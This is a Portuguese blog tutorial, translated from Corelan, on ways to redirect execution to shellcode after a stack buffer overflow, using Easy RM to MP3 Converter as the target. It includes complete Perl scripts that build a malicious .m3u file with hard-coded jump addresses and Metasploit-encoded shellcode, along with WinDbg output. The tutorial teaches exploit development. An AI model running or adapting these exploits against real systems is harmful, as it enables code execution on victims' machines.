2 de março de 2012

Stack Buffer Overflow - Jumping to Shellcode - parte 1

Tradução do original: https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/

Essa nova série de artigos, divida em 3 partes, é baseada em uma série prévia, traduzida e adaptada a partir do material criado pelo CorelanTeam. Abaixo seguem os links dos artigos anteriores, e para seguir essa nova série, é necessário que tome conhecimento da série prévia:
http://hackproofing.blogspot.com/2011/04/escrevendo-um-exploit-para-stack.html
http://hackproofing.blogspot.com/2011/05/escrevendo-um-exploit-para-stack.html
http://hackproofing.blogspot.com/2011/06/escrevendo-um-exploit-para-stack.html

Agora vamos à nova série...


Para onde você quer pular (jmp) hoje ?

No tutorial anterior, expliquei sobre como descobrir uma vulnerabilidade e utilizar essa informação para construir um exploit funcional. No exemplo, vimos que ESP apontava quase que diretamente para o início de nosso buffer (precisamos apenas adicionar 4 bytes ao shellcode para fazer ESP apontar diretamente para o shellcode), e poderíamos utilizar um “jmp esp” para fazer o shellcode executar.

O fato de podermos utilizar um “jmp esp” foi um cenário quase perfeito. Nem sempre é tão fácil assim. Nesse tutorial vamos ver outras formas de executar nosso shellcode, e ver quais são as opções existentes caso se depare com buffers muito pequenos.

Há diversos métodos de forçar a execução de um shellcode.

Jump (or call) para um registrador que aponta para o shellcode. Com esta técnica, você basicamente utiliza um registrador que contém o endereço onde o shellcode está localizado e coloca esse endereço no EIP. Você tenta encontrar o opcode de um “jump” ou “call” para o registrador em uma das dll’s que esteja carregada quando a aplicação for executada. Quando criar seu payload, ao invés de sobrescrever o EIP com um endereço na memória, você precisa sobrescrever o EIP com o endereço do “jump para o registrador”. Obviamente que isso só funciona se um dos registradores disponíveis contiver um endereço que aponte para o shellcode. Foi dessa forma que fizemos com que nosso exploit funcionasse no primeiro tutorial, então não vamos entrar nesse assunto daqui por diante.

Pop return: se nenhum dos registradores apontar diretamente para o shellcode, mas você consegue enxergar um endereço na stack que aponta para o shellcode, então poderá carregar esse valor no EIP colocando um apontador para pop ret, ou pop pop ret, ou pop pop pop ret (tudo dependendo do local onde o endereço foi encontrado na stack) na EIP.

Push return: este método é pouco diferente da técnica que chamamos de “call register”. Se você não puder encontrar um opcode “jump register” ou “call register” em lugar algum, pode simplesmente colocar o endereço na stack e então fazer um ret. Então você basicamente tenta encontrar um push , seguido por um ret. Encontre o opcode para esta sequência, encontre um arquivo que performe esta sequência, e sobrescreva o EIP com este endereço.

Jmp [reg + offset]: Se houver um registrador que aponte para o buffer que contém o shellcode, mas não aponta para o início do shellcode, pode-se tentar encontrar uma instrução em uma DLL do S.O. ou de alguma aplicação, que adicionará os bytes necessários ao registrador e então pula para o registrador.

Blind return: no tutorial anterior foi explicado que o ESP aponta para a posição atual na pilha (por padrão). Uma instrução RET irá fazer um “pop” do último valor (4 bytes) da pilha e irá colocar esse endereço na ESP. Então, se você sobrescrever o EIP com o endereço que realiza uma instrução RET, você carregará o valor armazenado no ESP, dentro do EIP. Se você se deparar com uma situação em que o espaço disponível no buffer (após sobrescrever o EIP) seja limitado, mas tiver uma boa quantidade de espaço antes de sobrescrever o EIP, então poderá utilizar “jump code” no buffer menor para pular para o shellcode principal na primeira parte do buffer.

SEH: Toda aplicação possui um manipulador padrão de exceção (default exception handler) que é disponibilizado pelo S.O. Então, mesmo se a aplicação não utilizar por si mesma um manipulador de exceções, você pode tentar sobrescrever o manipulador SEH com seu próprio endereço e fazê-lo pular para seu shellcode. Utilizando o SEH é possível fazer um exploit mais confiável em várias plataformas Windows, mas são necessárias algumas explicações a mais antes que possa começar a abusar do SEH para escrever exploits. A idéia por detrás disso é que se você construir um exploit que não funcione em um determinado S.O., então o payload pode apenas gerar um crash na aplicação (e fazer o triggering de uma exceção). Então se você puder combinar um exploit “normal” com um exploit baseado em seh, então você terá criado um exploit mais confiável. De qualquer forma, o próximo tutorial lidará especificamente com SEH. Apenas lembre que um típico stack buffer overflow, onde sobrescrevemos o EIP, pode ser potencialmente sujeito à técnica de exploits baseados em SEH também, dando-lhe mais estabilidade, um buffer de tamanho maior.

As técnicas explicadas neste tutorial são apenas exmplos. O objetivo do mesmo é explicar que podem haver vários para pular para seu shellcode, e em outros casos pode haver apenas uma forma (e pode requerer uma combinação de técnicas) para fazer com que seu código arbitrário seja executado.

Podem haver muitos outros métodos para afzer um exploit funcionar e de forma confiável, mas se você dominar aqueles listados aqui, e utilizar o senso comum, poderá encontrar uma forma para resolver a maioria dos problemas quando estiver tentando fazer com que um exploit pule para seu shellcode. Mesmo se uma técnica pareça funcionar, mas o shellcode não execute, você pode brincar com encoders de shellcode, move o shellcode uns poucos bits para frente e colocar alguns NOP’s antes do shellcode... há várias coisas que podem ajudar seu exploit funcionar.

Obviamente que é perfeitamente possível que uma vulnerabilidade apenas leve à um crash, e nunca seja explorada.

Vamos dar uma olhada na implementação prática de algumas das técnicas listadas acima.


call [reg]

Se um registro é carregado com um endereço que aponte diretamente para o shellcode, então você pode fazer um call [reg] para pular diretamente para o shellcode. Em outras palavras, se ESP aponta diretamente para o shellcode (então o primeiro byte do ESP é o primeiro byte de seu shellcode), então você pode sobrescrever o EIP com o endereço de “call esp”, e o shellcode será executado. Isso funciona com todos os registradores e é bem popular porque o kernel32.dll contém diversos endereços call [reg].

Exemplo: assumindo que ESP aponta para o shellcode: primeiro, procure por um endereço que contenha o opcode ‘call esp’. Vamos utilizar o findjmp:

findjmp.exe kernel32.dll esp
 
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C836A08      call esp
0x7C874413      jmp esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses

Depois, escreva o exploit e sobrescreva o EIP com 0x7C836A08.

A partir do exemplo do Easy RM to MP3, no tutorial anterior, sabemos que podemos apontar ESP no início de nosso shellcode adicionando 4 caracteres entre o local onde EIP foi sobrescrito e ESP. Um exploit padrão pareceria com o que está abaixo:

my $file= "test1.m3u";
my $junk= "A" x 26094;
 
my $eip = pack('V',0x7C836A08); #sobrescreve EIP com call esp
 
my $prependesp = "XXXX";  #adiciona 4 bytes e assim o ESP aponta para os bytes iniciais do shellcode
 
my $shellcode = "\x90" x 25;   #inicia o shellcode com alguns NOPS
 
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
 
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
 
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";


pop ret

Como explicado acima, no exemplo do Easy RM to MP3, fomos capazes de manipular nosso buffer para que ESP apontasse diretamente para nosso shellcode. O que fazer quando não houver registradores que apontem para nosso shellcode?

Bem, nesse caso, um endereço apontando para o shellcode pode existir na stack. Se fizer um dump do esp, verifique os primeiros endereços. Se um desses endereços apontar para seu shellcode (ou um buffer que você controla), então poderá encontrar um pop ret ou pop pop ret (nada a ver com exploits baseados em SEH aqui) para:

  • Pegar endereços da stack (e sair dos mesmos)
  • Pular para endereços que trariam para você o shellcode.

A técnica de pop ret obviamente é utilizável apenas quando ESP+offset já contém um endereço que aponta para o shellcode... Então faça um dump do esp, veja se um dos primeiros endereços aponta para o shellcode, e coloque uma referência à pop ret (ou pop pop ret ou pop pop pop ret) no EIP. Isso irá retornar algum endereço da stack (um endereço para cada pop) e colocará o próximo endereço no EIP. Se algum deles apontar para o shellcode, então você terá vencido.

Há um segundo uso para o pop ret: o que fazer se você controla o EIP, nenhum registrador aponta para o shellcode, mas seu shellcode pode ser encontrado em ESP+8: Nesse caso, você pode colocar um pop pop ret no EIP, que irá pular para ESP+8. Se você colocar um apontador para jmp esp neste local, então irá pular para o shellcode que está localizado logo após o apontador jmp esp.

Vamos fazer um teste. Sabemos que precisamos de 26094 bytes antes de sobrescrever o EIP, e que precisamos de mais 4 bytes antes de chegarmos no endereço da stack para onde o ESP aponta ( no meu caso, o endereço é 0x000ff730).

Simularemos que em ESP+8, temos um endereço que aponta para o shellcode.

26094 A’s, 4 XXXX’s, um break, 7 NOP’s, um break, e mais NOP’s. Pretendemos que o shellcode comece no segundo break. O objetivo é fazer um jump no primeiro break, direto para o segundo break (que está em ESP+8 bytes = 0x000ff738).

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB"; #sobrescreve EIP
my $prependesp = "XXXX";  #adiciona 4 bytes para que o ESP aponte para os bytes iniciais do shellcode
my $shellcode = "\xcc"; #primeiro break
$shellcode = $shellcode . "\x90" x 7;  #adiciona mais 7 bytes
$shellcode = $shellcode . "\xcc"; #segundo break
$shellcode = $shellcode . "\x90" x 500;  #shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";

Vamos olhar a stack...

A aplicação trava por conta do estouro de buffer. Nós sobrescrevemos EIP com “BBBB”. ESP aponta para 000ff730 (que começa com o primeiro break), então 7 NOP’s, e então vemos o segundo break, que está na verdade no início de nosso shellcode (que está no endereço 0x000ff738).

eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa
eip=42424242 esp=000ff730 ebp=00344200 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90  ................
000ff740  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff750  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff760  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
 
0:000> d 000ff738
000ff738  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff748  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff758  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff768  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff778  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff788  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff798  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

O objetivo é obter o valor de ESP+8 no EIP (e manipular este valor para que pule para o shellcode). Utilizaremos a técnica pop ret + endereço do jmp esp para conseguir isso. Uma instrução POP pegará 4 bytes do topo da stack. Assim o stack pointer apontaria para 000ff734. Executando outra instrução pop tomaríamos mais 4 bytes do topo da stack. ESP então apontaria para 000ff738. Quando uma instrução “ret” é executada, o valor no endereço atual de ESP é colocado no EIP. Assim se o valor de 000ff738 contém o endereço de uma instrução jmp esp, então este é o que EIP também conteria. O buffer após 000ff738 deve conter nosso shellcode. Precisamos encontrar a sequência de instruções pop, pop, ret em algum lugar, e sobrescrever o EIP com o endereço da primeira parte da sequência de instruções, e devemos configurar ESP+8 para o endereço de jmp esp, seguido pelo shellcode.

Em primeiro lugar, precisamos saber o opcode para pop pop ret. Utilizaremos a funcionalidade assemble no windbg para obter os opcodes:

0:000> a
7c90120e pop eax
pop eax
7c90120f pop ebp
pop ebp
7c901210 ret
ret
7c901211 
 
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58              pop     eax
7c90120f 5d              pop     ebp
7c901210 c3              ret
7c901211 ffcc            dec     esp
7c901213 c3              ret
7c901214 8bff            mov     edi,edi
7c901216 8b442404        mov     eax,dword ptr [esp+4]
7c90121a cc              int     3

Então o opcode de pop pop ret é 0×58,0x5d,0xc3

Obviamente, que você pode optar por outros registradores também. Há alguns outros opcodes de pop disponíveis:

pop register
opcode
pop eax
58
pop ebx
5b
pop ecx
59
pop edx
5a
pop esi
5e
pop ebp
5d

Agora precisamos encontrar esta sequência em uma das dlls disponíveis. No primeiro tutorial falamos sobre dll’s de aplicação versus dll’s de SO. Penso ser recomendado utilizar dll’s de aplicação por aumentarem a chance de construir exploits mais confiáveis em diferentes plataformas e versões do Windows... Mas é necessário ter certeza de que as dll’s utilizam alguns endereços básicos todas as vezes.

As vezes, as dll’s são realocadas, e nesse cenário poderia ser melhor utilizar um DLL de SO (user32.dll ou kernel32.dll, por exemplo).

Abra o Easy RM to MP3 (não abra nenhum arquivo ou qualquer outra coisa) e então anexe o windbg ao processo executado.

Windbg mostrará os módulos carregados, tanto da aplicação quanto os de SO. (olhe para a parte superior da saída do windbg, e encontre a linha que inicia com ModLoad). Haverão algumas dll’s de aplicação:

ModLoad: 00ce0000 00d7f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll

Você pode exibir a imagem base de uma dll rodando o dumpbin.exe (do Visual Studio) com o parâmetro /headers contra a dll. Isso permitirá definir o endereço menor e maior para buscas.

Deve-se evitar a utilização de endereços que contenham null bytes (porque isso pode tornar o exploit ainda mais difícil).

Uma busca no MSRMCcodec00.dll nos dá alguns resultados:

0:014> s 01a90000 l 01b01000 58 5d c3
01ab6a10  58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc  X].3.].U..QQ.E..
01ab8da3  58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c  X]..M..e..Qj..5l
01ab9d69  58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00  X].j...j........

Ok, podemos pular para ESP+8 agora. Neste local precisamos colocar o endereço para jmp esp (pois, como explicado antes, a instrução ret pegará o endereço daquele local e o colocará no EIP. Neste ponto, o endereço ESP apontará para nosso shellcode que está localizado após o endereço de jmp esp... então o que realmente queremos nesse ponto  é um jmp esp).

No primeiro tutorial, aprendemos que 0x01ccf23a refere-se a jmp esp. Então vamos voltar ao nosso script Perl e substituir o “BBBB” (usado para sobrescrever o EIP) por um dos 3 endereços pop, pop, ret, seguido por 8 bytes (NOP) (para simular que nosso shellcode está 8 bytes além do topo da stack), então o endereço de jmp esp, e então o shellcode.

O buffer parecerá assim:

[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
   26094 A's         EIP           8 bytes offset          JMP ESP
                  (=POPPOPRET)

O fluxo completo do exploit se parecerá com isso:

1 – EIP é sobrescrito com POP POP RET (novamente, este exemplo não tem nada com exploits baseados em SEH. Queremos apenas pegar um valor que está na stack e jogar na EIP). ESP aponta para o início dos 8 bytes offset do shellcode.
2 – POP POP RET é executado. EIP está sobrescrito com 0x01ccf23a (pois esse é o endereço encontrado em ESP+0x8). ESP agora aponta para o shellcode.
3 – Já que EIP está sobrescrito com o endereço de jmp esp, o segundo jump é executado e o shellcode lançado.

                        ----------------------------------
                       |                                 |(1)
                       |                                 |
                       |       ESP aponta aqui (1)       |
                       |       |                         V
[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
   26094 A's         EIP           8 bytes offset          JMP ESP   ^
                  (=POPPOPRET)                                |      | (2)
                                                              |------|
                                                                     ESP agora aponta aqui (2)

Simularemos isso com um break e alguns NOP’s como shellcode, assim podemos ver se nosso jump funciona.

my $file= "test1.m3u";
my $junk= "A" x 26094;
 
my $eip = pack('V',0x01ab6a10); #pop pop ret de MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp
 
my $prependesp = "XXXX";  #adiciona 4 bytes e ESP aponta para o início do shellcode
my $shellcode = "\x90" x 8;  #adicionais mais bytes
$shellcode = $shellcode . $jmpesp;  #endereço para retorno via pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\xcc" . "\x90" x 500;  #shellcode real
 
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";


(d08.384): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe
eip=000ff73c esp=000ff73c ebp=90909090 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff72b:
000ff73c cc              int     3
0:000> d esp
000ff73c  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff74c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff75c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff76c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff77c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff78c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff79c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7ac  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Funciona! Agora vamos substituir os NOP’s após o jmp esp (ESP+8) pelo shellcode real (alguns nops para nos certificarmos + shellcode, codificados com alpha_upper):

my $file= "test1.m3u";
my $junk= "A" x 26094;
 
my $eip = pack('V',0x01ab6a10); #pop pop ret de MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp
 
my $prependesp = "XXXX";  # adiciona 4 bytes e ESP aponta para o início do shellcode
my $shellcode = "\x90" x 8;  # adicionais mais bytes
$shellcode = $shellcode . $jmpesp;  # endereço para retorno via pop pop ret ( = jmp esp)
 
$shellcode = $shellcode . "\x90" x 50;  #shellcode real
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
 
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";
  





Nenhum comentário:

Postar um comentário